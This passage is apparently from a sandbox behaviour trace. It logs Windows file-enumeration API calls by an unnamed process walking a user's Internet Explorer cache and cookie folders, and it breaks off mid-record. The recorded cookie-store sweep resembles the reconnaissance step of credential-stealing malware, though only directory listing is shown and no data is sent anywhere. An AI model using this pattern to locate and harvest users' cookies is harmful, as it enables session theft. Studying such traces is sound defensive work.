SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.874] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized", lpFilePart=0x0) returned 0x4b [0211.875] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\virtualized\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0211.875] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.875] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.876] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0211.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.876] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x41 [0211.876] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x270109a5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x270109a5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.876] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x270109a5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x270109a5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.877] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x26febd78, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x26febd78, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x26febd78, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="292RMP84.txt", cAlternateFileName="")) returned 1 [0211.877] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x745b61a0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x745b61a0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x745b61a0, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.877] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf7e2d59f, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7e2d59f, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNTException", cAlternateFileName="DNTEXC~1")) returned 1 [0211.877] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.878] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0211.878] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x270109a5, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x270109a5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x270109a5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x0, cFileName="U6A59TWQ.txt", cAlternateFileName="")) returned 1 [0211.878] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.878] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.879] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies", lpFilePart=0x0) returned 0x41 [0211.879] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x270109a5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x270109a5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.879] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x270109a5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x270109a5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.879] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x26febd78, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x26febd78, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x26febd78, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="292RMP84.txt", cAlternateFileName="")) returned 1 [0211.880] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x745b61a0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x745b61a0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x745b61a0, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.880] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf7e2d59f, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7e2d59f, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNTException", cAlternateFileName="DNTEXC~1")) returned 1 [0211.880] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.880] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0211.880] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x270109a5, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x270109a5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x270109a5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x0, cFileName="U6A59TWQ.txt", cAlternateFileName="")) returned 1 [0211.881] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x270109a5, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x270109a5, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x270109a5, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x0, cFileName="U6A59TWQ.txt", cAlternateFileName="")) returned 0 [0211.881] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.881] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", lpFilePart=0x0) returned 0x4e [0211.881] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\dntexception\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf7e2d59f, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7e2d59f, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0211.882] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf7e2d59f, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7e2d59f, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.882] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf7e2d59f, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xf7e2d59f, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7e2d59f, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.882] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.883] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0211.883] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0211.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.883] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", lpFilePart=0x0) returned 0x4e [0211.883] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\dntexception\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf7e2d59f, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7e2d59f, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0211.883] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf7e2d59f, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7e2d59f, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.884] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf7e2d59f, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xf7e2d59f, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf7e2d59f, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0211.884] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.884] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.885] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0211.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.885] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low", lpFilePart=0x0) returned 0x52 [0211.885] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\dntexception\\low\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0211.886] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.886] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.886] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0211.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db880) returned 1 [0211.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0db840) returned 1 [0211.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0db950) returned 1 [0211.886] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low", nBufferLength=0x105, lpBuffer=0x1e0db430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low", lpFilePart=0x0) returned 0x52 [0211.887] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcookies\\dntexception\\low\\*"), lpFindFileData=0x1e0db660 | out: lpFindFileData=0x1e0db660*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0211.887] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.887] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0db620 | out: lpFindFileData=0x1e0db620*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, 